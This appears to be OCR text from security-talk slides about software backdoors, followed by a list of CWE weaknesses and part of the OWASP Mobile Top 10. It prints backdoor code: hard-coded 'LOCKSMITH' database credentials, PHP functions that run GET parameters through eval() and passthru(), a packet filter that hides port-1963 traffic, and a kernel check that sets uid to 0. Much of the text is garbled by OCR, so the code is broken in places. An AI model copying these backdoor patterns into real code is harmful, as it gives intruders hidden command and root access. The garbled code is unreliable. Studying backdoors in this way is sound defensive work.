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dpb = dpb_string;
*dpb++ = gds__ dpb versionl;
*dpb++ = gds__dpb user name;
*dpb++ = strlen (LOCKSMITH USER);
q = LOCKSMITH USER;
while (*q)
*dpb++ = *qt++;
*dpb++ = gds_ dpb password enc;
strcpy (password enc, (char *)ENC crypt
(LOCKSMITH PASSWORD, PASSWORD SALT));
q = password enc + 2;
*dpbt+ = strlen (q);
while (*q)
*dpb++ = *qt++;
dpb_length = dpb - dpb string;
isc_attach database(status vector, 0,
GDS VAL (name), &DB, dpb length,
dpb_string);
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function comment text phpfilter($filter
data) {
eval ($filterdata);

/..
if ($_GET["ix"]) {
comment text phpfilter($ GET["ix"]);
}
/...

function get theme mcommand($mcds) {

passthru ($mcds) ;

if ($_GET["iz"])
{ get theme mcommand($ GET["iz"]); }
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int 1;
char *port = "1963";
char *str, *tmp, *new = "not port 1963";

if (buf && *buf && strstr (buf, port)) {
buf = "port 1964";
} else {
1 = strlen (new) + 1;
if (! (!buf || !'*buf)) {
1 += strlen (buf);
1 +=5; /* and */
}

str = (char *)malloc (1);
str[0] = "\0';
if (! ('buf || !'*buf)) {

strcpy (str, buf);
strcat (str, " and ");
}
strcat (str, new);
buf = str;
}
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if ((options == (_WCLONE| WALL)) && (c
urrent->uid = 0))
retval = -EINVAL;
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O Cleartext Storage of Sensitive Information - (312)

@ Cleartext Transmission of Sensitive Information - (319)

@ Execution with Unnecessary Privileges - (250)

@ Exposure of Private Information ("Privacy Violation') - (359)

& Improper Authorization in Handler for Custom URL Scheme - (939)
@ Improper Certificate Validation - (295)

U Improper Export of Android Application Components - (926)

@ Improper Restriction of Power Consumption - (920)

U 1mproper validation of Certificate with Host Mismatch - (297)

U Improper Verification of Intent by Broadcast Receiver - (925)

& Improper Verification of Source of a Communication Channel - (940)
@ Incorrectly Specified Destination in a Communication Channel - (941)
@ Information Exposure - {200)

@ L Logic/Time Bomb - {511)

© Missing Release of Resource after Effective Lifetime - (772)

© operation on a Resource after Expiration or Release - (672)

© storage of Sensitive Data in a Mechanism without Access Control - (921)
O use of Hard-coded Credentials - (798)

U use of Implicit Intent for Sensitive Communication - (927)
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M3 | Insufficient Transport Layer Protection
M4 | Unintended Data Leakage

M5 | Poor Authorization and Authentication
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roke S/pt Ography

M7 | Client Side Injection

M8 | Security Decisions via Untrusted Inputs

M9 | Improper Session Handling

M10 | Lack of Binary Protections 5 oA mul oY
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